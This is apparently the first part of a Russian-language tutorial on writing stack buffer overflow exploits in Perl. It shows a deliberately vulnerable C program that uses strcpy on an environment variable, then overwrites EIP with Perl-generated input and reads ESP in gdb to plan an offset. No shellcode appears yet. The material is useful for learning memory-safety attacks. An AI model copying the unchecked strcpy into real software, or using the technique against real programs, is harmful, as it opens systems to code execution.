Статья написана для тех,
кто хочет попрактиковаться в написании
программ для переполнения буфера.
Соответственно если вы проследили за
названием – делать это будет на Perl-е.
Итак, пример. Небольшая
программа, которая переполняет буфер. В
нашем примере рассматривается функция strcpy(),
она не проверяет длину переменной перед
помещением ее в стек, соответственно
наличествует прямая возможность для
переполнения буфера. Программа на С для
реализации переполнения, именно ее мы и
будем exploit-ировать :):
#include <stdio.h>
int main()
{
char kidbuffer[1024];
if (getenv("KIDVULN") == NULL)
{
/* проверяем, равна ли переменная нулю, если
да, то вываливаемся взад */
fprintf(stderr, "Grow up!\n");
exit(1);
}
/* Копируем длинную переменную в буфер */
strcpy(kidbuffer, (char *)getenv("KIDVULN"));
printf("Environment variable KIDVULN is:\n\"%s\".\n\n",
kidbuffer);
printf("Isn't life wonderful in kindergarten?\n");
return 0;
}
Далее конечно компилим
все это дело:
[root@localhost teleh0r]# gcc -o vuln vuln.c
vuln.c: In function `main':
vuln.c:5: warning: comparison between pointer and integer
[root@localhost teleh0r]# export KIDVULN=`perl -e '{print
"A"x"1028"}'`
Запускаем дебагер:
[root@localhost teleh0r]# gdb vuln
… бла-бла-бла…
Starting program: /home/teleh0r/vuln Environment variable KIDVULN is: "AAAAAAAAA…
Isn't life wonderful in kindergarten? Program
received signal SIGSEGV, Segmentation fault. 0x40032902 in __libc_start_main (main=Cannot
access memory at address 0x41414149 ) at ../sysdeps/generic/libc-start.c:61
61 ../sysdeps/generic/libc-start.c: No such file or directory.
(gdb)
Как видим буфер был
недостаточно большим, если б он таковым был,
то EIP (указатель точки исполнения)
перезаписался бы и имел бы значение 0x41414141, т.е.
был бы забит буковками А. Увеличим буфер и
снова запустим программку на исполнение:
[root@localhost teleh0r]# export KIDVULN=`perl
-e '{print "A"x"1032"}'`
[root@localhost teleh0r]# gdb vuln
….
Starting program: /home/teleh0r/vuln Environment variable KIDVULN is: "AAAAAAAAA…
Isn't life wonderful in kindergarten? Program received signal SIGSEGV,
Segmentation fault.
0x41414141 in ?? () (gdb)
Вот теперь вроде все
правильно, буфер благополучно переполнен и
содержит четыре буковки А. Какие выводы
можно сделать: легко контролировать
указатель и сделать так, что бы он указывал
туда, куда нам нужно, даже туда, где лежит
наш кус кода. В случае благополучного
исполнения такого плана, мы сможем
выполнить произвольный код из стека (хотя
гипотетически это зависит от ОС).
Для полноценной работы
нам теперь нужен ESP – указатель на начало
стека в памяти, зная его мы можем подсчитать
смещение, необходимое для работы.
Program received signal SIGSEGV, Segmentation
fault.
0x41414141 in ?? ()
(gdb) info reg esp
esp 0xbffff770 -1073744064
(gdb)
На сегодня пожалуй
достаточно – мы написали прогу, которую
будем переполнять, наглядно посмотрели как
это все происходит в дебагере, в след раз
перейдем непосредственному воплощению
эксплоита на Perl-е.